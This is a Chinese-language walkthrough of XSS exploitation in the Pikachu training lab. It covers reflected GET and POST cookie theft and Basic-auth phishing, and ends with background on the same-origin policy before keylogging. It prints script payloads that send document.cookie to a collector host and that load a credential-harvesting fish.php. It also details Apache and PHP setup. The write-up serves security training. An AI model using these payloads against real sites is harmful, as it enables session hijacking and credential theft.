pikachu 靶场之XSS(跨站脚本) -上篇(二)

简介: pikachu 靶场之XSS(跨站脚本) -上篇

三、XSS 漏洞利用

准备工作

XSS 后台初始化,根据提示操作即可

86d266bd6a2b70ba4cb20d24f8b05953_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

修改后台源代码,如下

a4eb8e0717e4388f6803cef77fb58db0_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


反射型XSS(get)获取用户cookie

1 payload 如下


<script>document.location = 'http://192.168.154.135/pikachu/pkxss/xcookie/cookie.php?cookie=' %2B document.cookie;</script>

当前页面拥有的 cookie

3b837f2f03b6f5c9e17ba90a082ec15d_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


2 提交payload,查看后台 cookie收集结果,结果如下

8faeb1ad152212146f19e2d07e65051e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png1f8347c06b0c9ac5d2d4743cc5100581_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png因为之前做过测试,所以id从6开始,正常从1开始


反射型XSS(post)获取用户cookie

1 首先登录账号(admin/123456)

f071029c176d1bc1e5a800391be2fc1c_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


da5abf68f84c1e18ed999c14a3c1780c_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


2 随便输入内容,点击提交,发现输入的内容直接拼接到界面中

494dcd1d3e28b71fa44626d15f7541a1_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

看到这里你是不是觉得这个不是跟get类型一样嘛,对的,原理是一样的,但是,提交方式是以表单方式提交的,这时就无法将恶意代码嵌入到URL中发给目标。


3 修改伪造表单界面源代码(利用pikachu自带的表单 post.html)

fdff04b0c71cacbde25c8230c8d46262_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

4 payload


http://192.168.154.135/pikachu/pkxss/xcookie/post.html

5 刷新后台,即可查看到结果

ed3ae68b3bc88b1c5740d33d49bc6dca_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

6 修改 cookie 值,受害者点击链接,刷新后台

52ba66865895ca6ab0c8f0700aa1f968_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


XSS 漏洞利用之 钓鱼

1 鱼饵--basic认证


WWW-Authenticate:Basic

2 修改后台数据接收界面

d64470b663db4fe12e021b174cbc4ea0_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

3 payload



<script src="http://192.168.154.135/pikachu/pkxss/xfish/fish.php"></script>


---填坑---

工具包准备

9073270bd47ebbbb4a4a43ae837076bf_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

=频繁弹窗问题=

原因:PHP的HTTP认证机制仅在PHP以Apache模块方式运行时才有效,因此该功能不适用于CGI版本。

解决方案:重新部署环境


PHP集成开发环境启动Apache如下

9c3cd023c6e38e9ed5e02185e17c2ad0_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

1 配置Apache

将Apache解压到指定目录,打开Apache24/conf/httpd.conf文件,找到Define SRVROOT,将/Apache24修改为解压目录,如这里解压在E:\Apache24目录


b499da5fa93e5c6db63a7b550d7122bc_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

然后使用管理员权限打开CMD,执行以下命令


httpd.exe -k install -n apache2

进入bin目录,运行ApacheMonitor.exe。在托盘处左键点击Apache小图标,选择start,然后访问127.0.0.1测试

2 配置PHP

解压PHP压缩包,打开Apache的httpd.conf文件,在最后面增加配置(写自己的PHP目录)

ddcfd5cc3148171aa2bc2c16a912a5cd_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

重启Apache,并Apache安装目录下的htdocs目录新建一个phpinfo.php,写入以下内容:


 <?php
 phpinfo();
 ?>


最后通过浏览器访问:http://127.0.0.1/phpinfo.php,可以看到Server API为Apache 2.0 Handler

d87e3344e3c66113a6cefff5017b127b_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

4 继续复现钓鱼攻击

先把PHP安装目录下的php.ini-production文件复制一份并重命名为php.ini,然后打开

找到extension = mysqli,将前面;去掉

找到extension_dir = "ext",将前面;去掉,并修改为PHP路径下的ext

extension_dir = "E:\php-7.4\ext"

将Pikachu靶场复制到htdocs目录下,并开启MySQL。这里使用的是phpStudy环境,由于Apache已经另外安装并开启了,因此这里只需要单独启动MySQL即可


5  payload 放到反射型XSS(get)测试

57978ad2bc0d024aabc5902aafe8d544_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

139db4b66c9a60a04ac43d26339a9e5d_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

这里没有弹窗问题了,但是后台始终没有获取到数据,经过一番代码调试最终解决了问题

6 修改 fish.php 代码

0c5e22ed3a966dca30c8254ce3d2b568_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

6851b9776908b98f02a8882581fd8dea_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

7 重试,后台成功获取结果

25e7118093af6a377f609e9ced00a06f_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


XSS 利用之 获取键盘记录

前置知识

1 跨域

d18d6c30e0d6b943b6b09232ae1b7fc9_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

2  同源策略

同源策略是浏览器的一个安全功能,不同源的客户端脚本在没有明确授权的情况下,不能读写对方资源。所有浏览器都约定了"同源策略"

同源策略规定:

两个不同域名之间不能使用JS进行相互操作,
例如 x.com 域名下的JavaScript并不能操作 y.com下的对象

3 不受同源策略限制

  • 页面中的链接,重定向以及表单提交是不会受到同源策略限制的。
  • 跨域资源的引入是可以的。但是js不能读写加载的内容。如嵌入到页面中的,,,
相关文章
|
2月前
|
存储 安全 JavaScript
XSS跨站脚本攻击详解(包括攻击方式和防御方式)
这篇文章详细解释了XSS跨站脚本攻击的概念、原理、特点、类型,并提供了攻击方式和防御方法。
158 1
|
30天前
|
存储 JavaScript 前端开发
Xss跨站脚本攻击(Cross Site Script)
Xss跨站脚本攻击(Cross Site Script)
|
3月前
|
存储 JavaScript API
跨站脚本(XSS)
【8月更文挑战第17天】
24 3
|
3月前
|
监控 安全 JavaScript
对跨站脚本攻击(XSS)的防御策略?
【8月更文挑战第15天】
226 1
|
3月前
|
SQL 监控 安全
在Linux中,如何检测和防止SQL注入和跨站脚本(XSS)攻击?
在Linux中,如何检测和防止SQL注入和跨站脚本(XSS)攻击?
|
4月前
|
存储 安全 JavaScript
手摸手带你进行XSS攻击与防御
当谈到网络安全和信息安全时,跨站脚本攻击(XSS)是一个不可忽视的威胁。现在大家使用邮箱进行用户认证比较多,如果黑客利用XSS攻陷了用户的邮箱,拿到了cookie那么就可以冒充你进行收发邮件,那真就太可怕了,通过邮箱验证进行其他各种网站的登录与高危操作。 那么今天,本文将带大家深入了解XSS攻击与对应的防御措施。
|
3天前
|
安全 前端开发 Java
Web安全进阶:XSS与CSRF攻击防御策略深度解析
【10月更文挑战第26天】Web安全是现代软件开发的重要领域,本文深入探讨了XSS和CSRF两种常见攻击的原理及防御策略。针对XSS,介绍了输入验证与转义、使用CSP、WAF、HTTP-only Cookie和代码审查等方法。对于CSRF,提出了启用CSRF保护、设置CSRF Token、使用HTTPS、二次验证和用户教育等措施。通过这些策略,开发者可以构建更安全的Web应用。
20 4
|
2天前
|
安全 Go PHP
Web安全进阶:XSS与CSRF攻击防御策略深度解析
【10月更文挑战第27天】本文深入解析了Web安全中的XSS和CSRF攻击防御策略。针对XSS,介绍了输入验证与净化、内容安全策略(CSP)和HTTP头部安全配置;针对CSRF,提出了使用CSRF令牌、验证HTTP请求头、限制同源策略和双重提交Cookie等方法,帮助开发者有效保护网站和用户数据安全。
12 2
|
4天前
|
存储 安全 Go
Web安全基础:防范XSS与CSRF攻击的方法
【10月更文挑战第25天】Web安全是互联网应用开发中的重要环节。本文通过具体案例分析了跨站脚本攻击(XSS)和跨站请求伪造(CSRF)的原理及防范方法,包括服务器端数据过滤、使用Content Security Policy (CSP)、添加CSRF令牌等措施,帮助开发者构建更安全的Web应用。
23 3
|
30天前
|
存储 JavaScript 安全